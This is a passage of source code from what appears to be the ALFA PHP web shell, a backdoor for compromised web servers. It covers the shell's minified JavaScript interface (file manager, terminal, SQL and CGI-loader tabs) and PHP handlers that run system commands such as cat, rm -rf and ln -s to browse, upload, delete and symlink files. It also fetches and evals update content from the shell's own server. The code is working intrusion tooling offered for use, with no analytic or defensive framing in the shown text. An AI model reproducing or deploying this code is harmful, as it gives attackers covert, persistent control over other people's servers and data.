i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="<?php echo $_SERVER["DOCUMENT_ROOT"]; ?>/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),<?php echo $GLOBALS["need_to_update_header"]; ?>?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script>
</body>
</html>
<?php
}}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function alfaWhich($p) {
$path = alfaEx('which ' . $p,false,false);
if(!empty($path))
return strlen($path);
return false;
}
function alfaSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function alfaPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's​';
elseif (($p & 0xA000) == 0xA000)$i = 'l​';
elseif (($p & 0x8000) == 0x8000)$i = '-​';
elseif (($p & 0x6000) == 0x6000)$i = 'b​';
elseif (($p & 0x4000) == 0x4000)$i = 'd​';
elseif (($p & 0x2000) == 0x2000)$i = 'c​';
elseif (($p & 0x1000) == 0x1000)$i = 'p​';
else $i = 'u​';
$i .= (($p & 0x0100) ? 'r​' : '-');
$i .= (($p & 0x0080) ? 'w​' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's​' : 'x​' ) : (($p & 0x0800) ? 'S​' : '-'));
$i .= (($p & 0x0020) ? 'r​' : '-');
$i .= (($p & 0x0010) ? 'w​' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's​' : 'x​' ) : (($p & 0x0400) ? 'S​' : '-'));
$i .= (($p & 0x0004) ? 'r​' : '-');
$i .= (($p & 0x0002) ? 'w​' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't​' : 'x​' ) : (($p & 0x0200) ? 'T​' : '-'));
return $i;
}
function alfaPermsColor($f,$isbash=false){
$class = "";
$num = "";
$human = "";
if($isbash){
$class = $f["class"];
$num = $f["num"];
$human = $f["human"];
}else{
$num = substr(sprintf('%o', @fileperms($f)),-4);
$human = alfaPerms(@fileperms($f));
if(!@is_readable($f))
$class = "main_red_perm";
elseif (!@is_writable($f))
$class = "main_white_perm";
else
$class = "main_green_perm";
}
return '<span style="font-weight:unset;" class="'.$class.'">'.$num.'</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="'.$class.'">'.$human.'</span>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function reArrayFiles($file_post){
$file_ary = array();
$file_count = count($file_post['name']);
$file_keys = array_keys($file_post);
for ($i=0; $i<$file_count; $i++) {
foreach ($file_keys as $key) {
$file_ary[$i][$key] = $file_post[$key][$i];
}
}
return $file_ary;
}
function _alfa_can_runCommand($cgi=true,$cache=true){
	if(isset($_COOKIE["alfa_canruncmd"])&&$cache){
		return true;
	}
	if(strlen(alfaEx("whoami",false,$cgi))>0){
		$_COOKIE["alfa_canruncmd"] = true;
		return true;
	}
	return false;
}
function _alfa_symlink($target, $link){
	$phpsym = function_exists("symlink");
	if($phpsym){
		@symlink($target, $link);
	}else{
		alfaEx("ln -s '".addslashes($target)."' '".addslashes($link)."'");
	}
}
function _alfa_file_exists($file,$cgi=true){
	if(@file_exists($file)){
		return true;
	}else{
		if(strlen(alfaEx("ls -la '".addslashes($file)."'",false,$cgi))>0){
			return true;
		}
	}
	return false;
}
function _alfa_file($file,$cgi=true){
	$array = @file($file);
	if(!$array){
		if(strlen(alfaEx("id",false,$cgi))>0){
			$data = alfaEx('cat "'.addslashes($file).'"',false,$cgi);
			if(strlen($data)>0){
				return explode("\n", $data);
			}else{
				return false;
			}
		}else{
			return false;
		}
	}else{
		return $array;
	}
}
function _alfa_is_writable($file){
	$check = false;
	$check = @is_writable($file);
	if(!$check){
		if(_alfa_can_runCommand()){
			$check = alfaEx('[ -w "'.trim(addslashes($file)).'" ] && echo "yes" || echo "no"');
			if($check == "yes"){
				$check = true;
			}else{
				$check = false;
			}
		}
	}
	return $check;
}
function _alfa_is_dir($dir,$mode="-d"){
	$check = false;
	$check = @is_dir($dir);
	if($mode == "-e"){
		$check = @is_file($dir);
	}
	if(!$check){
		if(_alfa_can_runCommand()){
			$check = alfaEx('[ "'.trim($mode).'" "'.trim(addslashes($dir)).'" ] && echo "yes" || echo "no"');
			if($check == "yes"){
				return true;
			}else{
				return false;
			}
		}
	}
	return $check;
}
function _alfa_load_ace_options($base){
	return '<span>Theme: </span><select class="ace-controler ace-theme-selector" base="'.$base.'" onChange="alfaAceChangeSetting(this,\'theme\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="'.$base.'" onChange="alfaAceChangeSetting(this,\'lang\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="alfaAceChangeWrapMode(this,\''.$base.'\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="alfaAceChangeFontSize(\''.$base.'\',\'+\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="alfaAceChangeFontSize(\''.$base.'\', \'-\', this);return false;">-</button> | ';
}
function alfaFilesMan2(){
	alfahead();
	AlfaNum(8,9,10,7,6,5,4);
	echo '<div style="position:relative;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><div class="header"></div></div>';
	alfaFooter();
}
function copy_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
function alfaFilesMan(){
if(!empty ($_COOKIE['alfa_f']))
$_COOKIE['alfa_f'] = @unserialize($_COOKIE['alfa_f']);
if(!empty($_POST['alfa1'])){
switch($_POST['alfa1']){
case 'uploadFile':
$move_cmd_file = false;
$alfa_canruncmd = false;
if($GLOBALS['glob_chdir_false']){
	$alfa_canruncmd = _alfa_can_runCommand(true,true);
	$move_cmd_file = true;
}
if(_alfa_is_writable($GLOBALS['cwd'])){
$files = reArrayFiles($_FILES['f']);
$ret_files = array();
foreach($files as $file){
if($move_cmd_file&&$alfa_canruncmd){
	alfaEx("cat '".addslashes($file['tmp_name'])."' > '".addslashes($_POST["c"]."/".$file['name'])."'");
}else{
	if(@move_uploaded_file($file['tmp_name'],$file['name'])){
		$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($file['name'])):array("name" => "????");
		$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($file['name'])):array("name" => "????");
		$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($file['name']):"????");
		$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($file['name']):"????");
		$file_modify = @date('Y-m-d H:i:s', @filemtime($file['name']));
		$file_perm = alfaPermsColor($file['name']);
		$file_size = @filesize($file['name']);
		$ret_files[] = array("name" => $file['name'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner."/".$file_group);
	}
}
}
if(!$move_cmd_file){
	echo json_encode($ret_files);
}
}else{
	echo "noperm";
	return;
}
if(!$move_cmd_file){
return;
}
break;
case 'mkdir':
$new_dir_cmd = false;
if($GLOBALS['glob_chdir_false']){
	if(_alfa_can_runCommand(true,true)){
		if(_alfa_is_writable($GLOBALS['cwd'])){
			if(!_alfa_is_dir(trim($_POST['alfa2']))){
				alfaEx("cd '".trim(addslashes($_POST['c']))."';mkdir '".trim(addslashes($_POST['alfa2']))."'");
				echo "<script>alfaShowNotification('".addslashes($_POST['alfa2'])." created...', 'Files manager');</script>";
			}else{
				echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
			}
		}else{
			echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
		}
	}else{
		echo "<script>alfaShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
	}
}else{
	if(_alfa_is_writable($GLOBALS['cwd'])){
		if(!_alfa_is_dir(trim($_POST['alfa2']))){
			if(!@mkdir(trim($_POST['alfa2']))){
				echo "<script>alfaShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
			}else{
				echo "<script>alfaShowNotification('".addslashes($_POST['alfa2'])." created...', 'Files manager');</script>";
			}
		}else{
			echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
		}
	}else{
		echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
	}
}
break;
case 'delete':
function deleteDir($path){
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = @opendir($path);
while(($item = @readdir($dh)) !== false){
$item = $path.$item;
if((basename($item) == "..") || (basename($item) == "."))
continue;
$type = @filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
@closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f){
if($f == '..')
continue;
$f = rawurldecode($f);
if($GLOBALS["glob_chdir_false"]){
	if(_alfa_can_runCommand(true,true)){
		alfaEx("rm -rf '".addslashes($_POST['c'].'/'.$f)."'");
	}
}else{
alfaEx("rm -rf '".addslashes($f)."'",false,false);
if(@is_dir($f))
deleteDir($f);
else
@unlink($f);
}
}
if(@is_dir(rawurldecode(@$_POST['alfa2']))&&rawurldecode(@$_POST['alfa2'])!='..'){
deleteDir(rawurldecode(@$_POST['alfa2']));
alfaEx("rm -rf '".addslashes($_POST['alfa2'])."'",false,false);
}else{
@unlink(rawurldecode(@$_POST['alfa2']));
}
if($GLOBALS["glob_chdir_false"]){
	$source = rawurldecode(@$_POST['alfa2']);
	if($source!='..'&&!empty($source)){
		if(_alfa_can_runCommand(true,true)){
			alfaEx("cd '".trim(addslashes($_POST['c']))."';rm -rf '".addslashes($source)."'");
		}
	}
}
if(is_array($_POST['f']))
return;
break;
case 'paste':
if($_COOKIE['alfa_act'] == 'copy'&&isset($_COOKIE['alfa_f'])){
foreach($_COOKIE['alfa_f'] as $f)
copy_paste($_COOKIE['alfa_c'],$f, $GLOBALS['cwd']);
}elseif($_COOKIE['alfa_act'] == 'move'&&isset($_COOKIE['alfa_f'])){
function move_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if(($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
}elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['alfa_f'] as $f)
@rename($_COOKIE['alfa_c'].$f, $GLOBALS['cwd'].$f);
}elseif($_COOKIE['alfa_act'] == 'zip'&&isset($_COOKIE['alfa_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
$zipX = "alfa_".rand(1,1000).".zip";
if($zip->open($zipX, 1)){
@chdir($_COOKIE['alfa_c']);
foreach($_COOKIE['alfa_f'] as $f){
if($f == '..')continue;
if(@is_file($_COOKIE['alfa_c'].$f))
$zip->addFile($_COOKIE['alfa_c'].$f, $f);
elseif(@is_dir($_COOKIE['alfa_c'].$f)){
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach($iterator as $key=>$value){
$key = str_replace('\\','/',realpath($key));
if(@is_dir($key)){
if(in_array(substr($key, strrpos($key,'/')+1),array('.', '..')))continue;
}else{$zip->addFile($key,$key);}}}}
@chdir($GLOBALS['cwd']);
$zip->close();
__alert('>> '.$zipX.' << is created...');}}
}elseif($_COOKIE['alfa_act'] == 'unzip'&&isset($_COOKIE['alfa_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
foreach($_COOKIE['alfa_f'] as $f) {
if($zip->open($_COOKIE['alfa_c'].$f)){
$zip->extractTo($_COOKIE['alfa_cwd']);
$zip->close();}}}}
unset($_COOKIE['alfa_f']);
break;
default:
if(!empty($_POST['alfa1'])){
if(in_array($_POST['alfa1'], array("copy", "move", "zip", "unzip"))){
__alfa_set_cookie('alfa_act', @$_POST['alfa1']);
__alfa_set_cookie('alfa_f', @serialize($_POST['f']));
__alfa_set_cookie('alfa_c', @$_POST['c']);
return;
}
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if(preg_match("#(.*)\/\.\.#", $_POST['c'], $res)){
	$path = explode('/', $res[1]);
	array_pop($path);
	$_POST['c'] = implode('/', $path);
}
$cmd_dir = false;
if($dirContent === false){
	if(_alfa_can_runCommand(true,true)){
		$tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];
		@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
		if(!isset($_COOKIE["alfachdir_bash"])||@!file_exists($tmp_getdir_path."/alfacgiapi/getdir.alfa")){
